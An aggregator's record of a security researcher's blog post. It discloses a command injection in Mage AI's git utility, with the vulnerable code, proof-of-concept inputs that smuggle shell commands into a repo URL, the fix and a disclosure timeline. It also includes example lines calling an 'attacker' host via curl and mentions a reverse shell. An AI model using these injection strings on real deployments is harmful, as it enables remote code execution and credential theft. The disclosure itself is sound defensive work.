{"article":{"slug":"command-injection-in-mage-ais-git-config","title":"Command injection in Mage AI's git config","subtitle":null,"summary":"Yunus Aydın details an OS command injection in Mage AI's git utility code (shell=True with unsanitised config values), with proof of concept, and recounts the 26 months between his April 2024 report and the June 2026 fix merging.","content_type":"research","language":"en","canonical_url":"https://aydinnyunus.github.io/2026/10/06/command-injection-mage-ai-git-utils/","author":{"name":"Yunus Aydın","url":"https://aydinnyunus.github.io/","person_slug":null,"person_url":null},"authored_by":"human","publisher":{"name":"Yunus Aydın Blog","url":"https://aydinnyunus.github.io/","listing_slug":null,"listing":null},"topics":[{"name":"Security","slug":"security","url":"https://listedarticles.com/topics/security"},{"name":"Open Source","slug":"open-source","url":"https://listedarticles.com/topics/open-source"}],"about_listings":[],"cover_image_url":null,"license":"all-rights-reserved","word_count":1109,"reading_minutes":5,"published_at":"2026-10-06T00:00:00.000Z","added_at":"2026-10-12T08:20:37.948Z","updated_at":"2026-10-12T08:20:37.948Z","added_via":"api","contributor":{"type":"agent","name":"ListedStartups Using Bot","registered":false},"profile_url":"https://listedarticles.com/articles/command-injection-in-mage-ais-git-config","markdown_url":"https://listedarticles.com/articles/command-injection-in-mage-ais-git-config.md","example":false,"citation":"Yunus Aydın, Yunus Aydın Blog. \"Command injection in Mage AI's git config.\" 6 Oct 2026. https://aydinnyunus.github.io/2026/10/06/command-injection-mage-ai-git-utils/ (all-rights-reserved)","access":{"human_view":"preview","full_text_available":true,"source_url":"https://aydinnyunus.github.io/2026/10/06/command-injection-mage-ai-git-utils/"},"body_markdown":"I reported this OS command injection to the [mage-ai](https://github.com/mage-ai/mage-ai) project on April 11, 2024 as [issue #4924](https://github.com/mage-ai/mage-ai/issues/4924). It got the `bug` label, got assigned to a maintainer five days later, and then nothing. The function sat vulnerable in `master` for 26 months. On June 4, 2026, a contributor opened [PR #6117](https://github.com/mage-ai/mage-ai/pull/6117) with a fix referencing my report; I verified it against current `master`, approved it, and it merged on June 23, closing the issue. Twenty-six months from report to patch.\n\nI found this while grepping the repo for `shell=True` after noticing how many data orchestration tools delegate to git over SSH. Mage AI is a Python-based pipeline tool (think Airflow alternative) and its git integration lets users wire a remote repo into the UI. That URL flows straight into a shell.\n\n## The vulnerable code\n\n`mage_ai/data_preparation/git/utils.py` defines a one-line shell helper:\n\n```\ndef run_command(command: str) -> None:\n    proc = subprocess.Popen(args=command, shell=True)\n    proc.wait()\n```\nThe caller that matters is `add_host_to_known_hosts`. It takes a remote repo URL from the user, runs it through `urlparse`, and feeds the result into a shell string:\n\n```\ndef add_host_to_known_hosts(remote_repo_link: str):\n    url = remote_repo_link\n    if url and not url.startswith('ssh://'):\n        url = f'ssh://{url}'\n    hostname = urlparse(url).hostname\n    if hostname:\n        cmd = f'ssh-keyscan -t rsa {hostname} >> {DEFAULT_KNOWN_HOSTS_FILE}'\n        run_command(cmd)\n        return True\n    return False\n```\nThe hostname comes from a string the user controls, and the result is interpolated into a command that runs through `/bin/sh -c`. `urlparse` is a URL parser, not a sanitizer. It will hand back a “hostname” that contains shell metacharacters without complaint.\n\n## Proof of concept\n\n```\nfrom mage_ai.data_preparation.git.utils import add_host_to_known_hosts\nadd_host_to_known_hosts(\"ssh://h;touch /tmp/mage_pwn\")\n```\nOutput:\n\n```\n>>> add_host_to_known_hosts(\"ssh://h;touch /tmp/mage_pwn\")\nTrue\n>>> import os; os.path.exists(\"/tmp/mage_pwn\")\nTrue\n```\nWhat gets executed:\n\n```\n/bin/sh -c 'ssh-keyscan -t rsa h;touch /tmp/mage_pwn >> ~/.ssh/known_hosts'\n```\nThe shell sees the semicolon and runs `touch /tmp/mage_pwn` as a separate command. The file shows up, the function returns `True`, no error is raised. Swap `touch` for `curl http://attacker/$(whoami)` or a reverse shell and you have remote code execution any time the user adds a git remote.\n\nThe original PoC I filed in 2024 used the same primitive with a different shape:\n\n```\nimport subprocess\nfrom urllib.parse import urlparse\nsubprocess.Popen(\"pwd\" + urlparse(\"https://;whoami\").hostname, shell=True)\n```\nSame root cause, smaller test harness.\n\n## How it gets triggered\n\nMage AI exposes a git settings UI where a project owner can enter a remote repository URL. That URL is the input to `add_host_to_known_hosts`. The vulnerability fires the first time the connection is set up. In a multi-tenant deployment (Mage AI is commonly run as a shared internal service for a data team), any user who can configure the git remote can run commands as the Mage AI process user. That process typically has access to pipeline credentials, warehouse connections, and the cloud IAM role attached to the host. Practically, this is RCE on the orchestrator with whatever blast radius the IAM role grants.\n\n## The fix\n\nStop using `shell=True` and pass arguments as a list. The shell never gets to interpret metacharacters because there is no shell:\n\n```\ndef add_host_to_known_hosts(remote_repo_link: str):\n    url = remote_repo_link\n    if url and not url.startswith('ssh://'):\n        url = f'ssh://{url}'\n    hostname = urlparse(url).hostname\n    if not hostname or not _is_valid_hostname(hostname):\n        return False\n    with open(DEFAULT_KNOWN_HOSTS_FILE, 'a') as f:\n        subprocess.run(\n            ['ssh-keyscan', '-t', 'rsa', hostname],\n            stdout=f,\n            check=False,\n        )\n    return True\n```\nTwo changes carry the weight. `subprocess.run([...])` with a list bypasses `/bin/sh` entirely, so a hostname like `h;touch /tmp/mage_pwn` is passed as a single literal argument to `ssh-keyscan` (which then fails to resolve it, harmlessly). The hostname validation is belt and suspenders: even if a future caller reintroduces `shell=True`, a regex that only accepts `[A-Za-z0-9.-]{1,253}` would have killed the original payload at the door.\n\nThe same fix has to be applied to `create_ssh_keys`, which uses the same `urlparse` pattern when it detects CodeCommit URLs.\n\n## Why this keeps showing up\n\n`shell=True` is the default mental model for anyone who has ever written a bash one-liner. You think in pipes and redirections, you type it out as a string, and `subprocess.Popen` accepts that string without complaint. The list-of-args form feels clumsier when you actually need `>>` or `|`, so people reach for `shell=True` to get the redirect they want and then never come back to it.\n\nThe other half of the story is that `urlparse` looks like sanitization. It returns a `hostname` attribute. It lowercases the value. It strips the port. It feels like the URL has been parsed and validated. None of that is true in any security sense. `urlparse` will return a hostname for `https://;whoami` and for `https://$(curl attacker.com)` and for `https://a b c`. It is a structural parser, not an allowlist. Anyone treating the output as safe to interpolate into a shell command has misread the contract.\n\nThe shape of this bug (user controlled URL, structural parsing that looks like validation, `shell=True` for a one liner that needed a redirect) shows up in almost every data tool that integrates with git over SSH. I have hit it in three other projects in the last year.\n\n## Disclosure timeline\n\n- **April 11, 2024** : I reported the vulnerability to mage-ai as[issue #4924](https://github.com/mage-ai/mage-ai/issues/4924) with the PoC.\n- **April 16, 2024** : Issue assigned to a maintainer. No further activity.\n- **June 4, 2026** : Contributor gistrec opened[PR #6117](https://github.com/mage-ai/mage-ai/pull/6117) , referencing my report, with a verified reproduction against current`master` , a minimal fix, and a regression test. I reviewed and approved it.\n- **June 23, 2026** : PR merged into`master` ; issue #4924 closed. Total time open: 26 months.\n- **July 24, 2026** : Follow-up issue[#6166](https://github.com/mage-ai/mage-ai/issues/6166) : the patched function still returns`True` when`ssh-keyscan` fails. The fix closed the injection, not the sloppiness.\n\nIf you are running Mage AI in production, upgrade to a build that includes PR #6117. On older versions and forks, the git settings page is still an RCE surface for anyone allowed to configure a remote. And if you maintain something: don’t make a reporter with a working PoC wait 26 months for a one-line fix.\n\n## References\n\n- **mage-ai issue #4924** :[https://github.com/mage-ai/mage-ai/issues/4924](https://github.com/mage-ai/mage-ai/issues/4924)\n- **mage-ai PR #6117** (proposed fix):[https://github.com/mage-ai/mage-ai/pull/6117](https://github.com/mage-ai/mage-ai/pull/6117)\n- **CWE-78** :[Improper Neutralization of Special Elements used in an OS Command](https://cwe.mitre.org/data/definitions/78.html)\n- **Semgrep cheat sheet** :[Python command injection](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","body_html":"<p>I reported this OS command injection to the <a href=\"https://github.com/mage-ai/mage-ai\" rel=\"nofollow ugc noopener\">mage-ai</a> project on April 11, 2024 as <a href=\"https://github.com/mage-ai/mage-ai/issues/4924\" rel=\"nofollow ugc noopener\">issue #4924</a>. It got the <code>bug</code> label, got assigned to a maintainer five days later, and then nothing. The function sat vulnerable in <code>master</code> for 26 months. On June 4, 2026, a contributor opened <a href=\"https://github.com/mage-ai/mage-ai/pull/6117\" rel=\"nofollow ugc noopener\">PR #6117</a> with a fix referencing my report; I verified it against current <code>master</code>, approved it, and it merged on June 23, closing the issue. Twenty-six months from report to patch.</p>\n<p>I found this while grepping the repo for <code>shell=True</code> after noticing how many data orchestration tools delegate to git over SSH. Mage AI is a Python-based pipeline tool (think Airflow alternative) and its git integration lets users wire a remote repo into the UI. That URL flows straight into a shell.</p>\n<h2 id=\"the-vulnerable-code\">The vulnerable code</h2>\n<p><code>mage_ai/data_preparation/git/utils.py</code> defines a one-line shell helper:</p>\n<pre><code>def run_command(command: str) -&gt; None:\n    proc = subprocess.Popen(args=command, shell=True)\n    proc.wait()</code></pre>\n<p>The caller that matters is <code>add_host_to_known_hosts</code>. It takes a remote repo URL from the user, runs it through <code>urlparse</code>, and feeds the result into a shell string:</p>\n<pre><code>def add_host_to_known_hosts(remote_repo_link: str):\n    url = remote_repo_link\n    if url and not url.startswith(&#39;ssh://&#39;):\n        url = f&#39;ssh://{url}&#39;\n    hostname = urlparse(url).hostname\n    if hostname:\n        cmd = f&#39;ssh-keyscan -t rsa {hostname} &gt;&gt; {DEFAULT_KNOWN_HOSTS_FILE}&#39;\n        run_command(cmd)\n        return True\n    return False</code></pre>\n<p>The hostname comes from a string the user controls, and the result is interpolated into a command that runs through <code>/bin/sh -c</code>. <code>urlparse</code> is a URL parser, not a sanitizer. It will hand back a “hostname” that contains shell metacharacters without complaint.</p>\n<h2 id=\"proof-of-concept\">Proof of concept</h2>\n<pre><code>from mage_ai.data_preparation.git.utils import add_host_to_known_hosts\nadd_host_to_known_hosts(&quot;ssh://h;touch /tmp/mage_pwn&quot;)</code></pre>\n<p>Output:</p>\n<pre><code>&gt;&gt;&gt; add_host_to_known_hosts(&quot;ssh://h;touch /tmp/mage_pwn&quot;)\nTrue\n&gt;&gt;&gt; import os; os.path.exists(&quot;/tmp/mage_pwn&quot;)\nTrue</code></pre>\n<p>What gets executed:</p>\n<pre><code>/bin/sh -c &#39;ssh-keyscan -t rsa h;touch /tmp/mage_pwn &gt;&gt; ~/.ssh/known_hosts&#39;</code></pre>\n<p>The shell sees the semicolon and runs <code>touch /tmp/mage_pwn</code> as a separate command. The file shows up, the function returns <code>True</code>, no error is raised. Swap <code>touch</code> for <code>curl http://attacker/$(whoami)</code> or a reverse shell and you have remote code execution any time the user adds a git remote.</p>\n<p>The original PoC I filed in 2024 used the same primitive with a different shape:</p>\n<pre><code>import subprocess\nfrom urllib.parse import urlparse\nsubprocess.Popen(&quot;pwd&quot; + urlparse(&quot;https://;whoami&quot;).hostname, shell=True)</code></pre>\n<p>Same root cause, smaller test harness.</p>\n<h2 id=\"how-it-gets-triggered\">How it gets triggered</h2>\n<p>Mage AI exposes a git settings UI where a project owner can enter a remote repository URL. That URL is the input to <code>add_host_to_known_hosts</code>. The vulnerability fires the first time the connection is set up. In a multi-tenant deployment (Mage AI is commonly run as a shared internal service for a data team), any user who can configure the git remote can run commands as the Mage AI process user. That process typically has access to pipeline credentials, warehouse connections, and the cloud IAM role attached to the host. Practically, this is RCE on the orchestrator with whatever blast radius the IAM role grants.</p>\n<h2 id=\"the-fix\">The fix</h2>\n<p>Stop using <code>shell=True</code> and pass arguments as a list. The shell never gets to interpret metacharacters because there is no shell:</p>\n<pre><code>def add_host_to_known_hosts(remote_repo_link: str):\n    url = remote_repo_link\n    if url and not url.startswith(&#39;ssh://&#39;):\n        url = f&#39;ssh://{url}&#39;\n    hostname = urlparse(url).hostname\n    if not hostname or not _is_valid_hostname(hostname):\n        return False\n    with open(DEFAULT_KNOWN_HOSTS_FILE, &#39;a&#39;) as f:\n        subprocess.run(\n            [&#39;ssh-keyscan&#39;, &#39;-t&#39;, &#39;rsa&#39;, hostname],\n            stdout=f,\n            check=False,\n        )\n    return True</code></pre>\n<p>Two changes carry the weight. <code>subprocess.run([...])</code> with a list bypasses <code>/bin/sh</code> entirely, so a hostname like <code>h;touch /tmp/mage_pwn</code> is passed as a single literal argument to <code>ssh-keyscan</code> (which then fails to resolve it, harmlessly). The hostname validation is belt and suspenders: even if a future caller reintroduces <code>shell=True</code>, a regex that only accepts <code>[A-Za-z0-9.-]{1,253}</code> would have killed the original payload at the door.</p>\n<p>The same fix has to be applied to <code>create_ssh_keys</code>, which uses the same <code>urlparse</code> pattern when it detects CodeCommit URLs.</p>\n<h2 id=\"why-this-keeps-showing-up\">Why this keeps showing up</h2>\n<p><code>shell=True</code> is the default mental model for anyone who has ever written a bash one-liner. You think in pipes and redirections, you type it out as a string, and <code>subprocess.Popen</code> accepts that string without complaint. The list-of-args form feels clumsier when you actually need <code>&gt;&gt;</code> or <code>|</code>, so people reach for <code>shell=True</code> to get the redirect they want and then never come back to it.</p>\n<p>The other half of the story is that <code>urlparse</code> looks like sanitization. It returns a <code>hostname</code> attribute. It lowercases the value. It strips the port. It feels like the URL has been parsed and validated. None of that is true in any security sense. <code>urlparse</code> will return a hostname for <code>https://;whoami</code> and for <code>https://$(curl attacker.com)</code> and for <code>https://a b c</code>. It is a structural parser, not an allowlist. Anyone treating the output as safe to interpolate into a shell command has misread the contract.</p>\n<p>The shape of this bug (user controlled URL, structural parsing that looks like validation, <code>shell=True</code> for a one liner that needed a redirect) shows up in almost every data tool that integrates with git over SSH. I have hit it in three other projects in the last year.</p>\n<h2 id=\"disclosure-timeline\">Disclosure timeline</h2>\n<ul><li><strong>April 11, 2024</strong> : I reported the vulnerability to mage-ai as<a href=\"https://github.com/mage-ai/mage-ai/issues/4924\" rel=\"nofollow ugc noopener\">issue #4924</a> with the PoC.</li><li><strong>April 16, 2024</strong> : Issue assigned to a maintainer. No further activity.</li><li><strong>June 4, 2026</strong> : Contributor gistrec opened<a href=\"https://github.com/mage-ai/mage-ai/pull/6117\" rel=\"nofollow ugc noopener\">PR #6117</a> , referencing my report, with a verified reproduction against current<code>master</code> , a minimal fix, and a regression test. I reviewed and approved it.</li><li><strong>June 23, 2026</strong> : PR merged into<code>master</code> ; issue #4924 closed. Total time open: 26 months.</li><li><strong>July 24, 2026</strong> : Follow-up issue<a href=\"https://github.com/mage-ai/mage-ai/issues/6166\" rel=\"nofollow ugc noopener\">#6166</a> : the patched function still returns<code>True</code> when<code>ssh-keyscan</code> fails. The fix closed the injection, not the sloppiness.</li></ul>\n<p>If you are running Mage AI in production, upgrade to a build that includes PR #6117. On older versions and forks, the git settings page is still an RCE surface for anyone allowed to configure a remote. And if you maintain something: don’t make a reporter with a working PoC wait 26 months for a one-line fix.</p>\n<h2 id=\"references\">References</h2>\n<ul><li><strong>mage-ai issue #4924</strong> :<a href=\"https://github.com/mage-ai/mage-ai/issues/4924\" rel=\"nofollow ugc noopener\"><a href=\"https://github.com/mage-ai/mage-ai/issues/4924\" rel=\"nofollow ugc noopener\">https://github.com/mage-ai/mage-ai/issues/4924</a></a></li><li><strong>mage-ai PR #6117</strong> (proposed fix):<a href=\"https://github.com/mage-ai/mage-ai/pull/6117\" rel=\"nofollow ugc noopener\"><a href=\"https://github.com/mage-ai/mage-ai/pull/6117\" rel=\"nofollow ugc noopener\">https://github.com/mage-ai/mage-ai/pull/6117</a></a></li><li><strong>CWE-78</strong> :<a href=\"https://cwe.mitre.org/data/definitions/78.html\" rel=\"nofollow ugc noopener\">Improper Neutralization of Special Elements used in an OS Command</a></li><li><strong>Semgrep cheat sheet</strong> :<a href=\"https://semgrep.dev/docs/cheat-sheets/python-command-injection/\" rel=\"nofollow ugc noopener\">Python command injection</a></li></ul>","headings":[{"level":2,"text":"The vulnerable code","id":"the-vulnerable-code"},{"level":2,"text":"Proof of concept","id":"proof-of-concept"},{"level":2,"text":"How it gets triggered","id":"how-it-gets-triggered"},{"level":2,"text":"The fix","id":"the-fix"},{"level":2,"text":"Why this keeps showing up","id":"why-this-keeps-showing-up"},{"level":2,"text":"Disclosure timeline","id":"disclosure-timeline"},{"level":2,"text":"References","id":"references"}]}}